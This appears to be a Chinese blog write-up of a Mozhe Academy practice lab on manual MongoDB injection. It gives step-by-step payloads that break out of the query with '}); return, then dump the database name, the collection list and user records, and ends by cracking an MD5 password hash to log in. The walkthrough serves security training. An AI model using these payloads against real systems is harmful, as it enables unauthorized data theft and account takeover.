当前位置: 首页 > news >正文

墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

一、SQL手工注入漏洞测试(MongoDB数据库)

本文以墨者学院靶场为例,演示MongoDB数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.71.251:42286/new_list.php?id=1

二、注入原理说明

MongoDB作为NoSQL数据库,其注入方式与传统SQL注入不同。攻击主要利用:

  1. JSON/BSON语法闭合
  2. JavaScript代码执行
  3. 查询结果强制返回

三、注入步骤详解(如下指令去掉了id之前的内容

1. 查询回显位置

id=1'});return ({'title':'1','content':'2
  • 攻击手法
    • '} 闭合原始查询的JSON结构
    • ); 终止当前语句
    • return 构造新文档强制返回
  • 作用:确认页面显示titlecontent字段的位置
    在这里插入图片描述

2. 查询数据库名称

id=1'});return ({'title':tojson(db),'content':'2
  • 关键函数
    • db:当前数据库对象
    • tojson():将MongoDB对象转为JSON字符串
  • 输出示例
    mozhe_cms_Authority
    

在这里插入图片描述

3. 查询表名称(集合列表)

id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2
  • 核心方法
    • getCollectionNames():返回所有集合名称数组
  • 典型结果
    [ "Authority_confidential", "notice", "system.indexes" ]
    

在这里插入图片描述

4. 查询字段结构

id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2

修改find()[1]值查询其他账号:

id=1'});return ({'title':tojson(db.Authority_confidential.find()[1]),'content':'2
  • 技术要点
    • Authority_confidential:目标集合名
    • find()[0]:获取集合第一条记录
    • find()[1]:获取集合第二条记录
  • 泄露内容
    {"_id": ObjectId("6885d4f44abcd62e71223bc5"),"name": "mozhe","password": "a83cd5ad5ed3e1c5597441aaab289f5c","status": "0"
    }
    

在这里插入图片描述
在这里插入图片描述

5. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/
在这里插入图片描述

四、关键指令速查表

指令/函数作用示例输出
'})闭合原始查询终止当前JSON结构
return控制返回数据构造恶意输出
tojson()对象序列化转为可读JSON
db当前数据库对象包含连接信息
getCollectionNames()获取所有集合[“coll1”,“coll2”]
find()[0]获取首条记录完整文档结构
http://www.dtcms.com/a/300826.html

相关文章:

  • Rust与Java DynamoDB、MySQL CRM、tokio-pg、SVM、Custors实战指南
  • 零基础 “入坑” Java--- 十四、字符串String
  • mybatis-plus实体类主键生成策略
  • 使用uni-app开发一个点餐收银台系统前端静态项目练习
  • 车辆网络安全规定之R155与ISO/SAE 21434
  • 09_opencv_遍历操作图像像素
  • uniapp input 聚焦时键盘弹起滚动到对应的部分
  • 基础配置介绍,VLAN配置,DHCP配置
  • 迷宫生成与路径搜索(A算法可视化)
  • SparkSQL — get_json_object函数详解(解析 json)
  • 离散组合数学 : 母函数
  • QT6 源,七章对话框与多窗体(16)多文档 MDI 窗体 QMdiArea 篇二:源代码带注释
  • 栈----4.每日温度
  • AIC 2025 热点解读:如何构建 AI 时代的“视频神经中枢”?
  • 主要分布于内侧内嗅皮层的层Ⅲ的边界向量细胞(BVCs)对NLP中的深层语义分析的积极影响和启示
  • Tkinter美化 - 告别土味Python GUI
  • VScode输出中文乱码问题解决
  • C++ 构造函数中阻止资源泄漏的实践探索
  • Java中get()与set()方法深度解析:从封装原理到实战应用
  • 2025年项目数据看板工具选型指南,精选12款
  • Spring Cloud Alibaba:微服务架构的最佳选择?
  • 系统思考:快就是慢
  • 编写SQL语句时,#{} 和 ${}的区别
  • 一文读懂 JWT(JSON Web Token)
  • 使用橙武低代码平台做数据统计:定时任务汇总数据并生成日报表
  • 零基础学习性能测试:JVM性能分析与调优-JVM垃圾回收机制,GC对性能的影响
  • Gradio.NET 中文快速入门与用法说明
  • Python-初学openCV——图像预处理(四)——滤波器
  • Python 数据分析(四):Pandas 进阶
  • 负载均衡Haproxy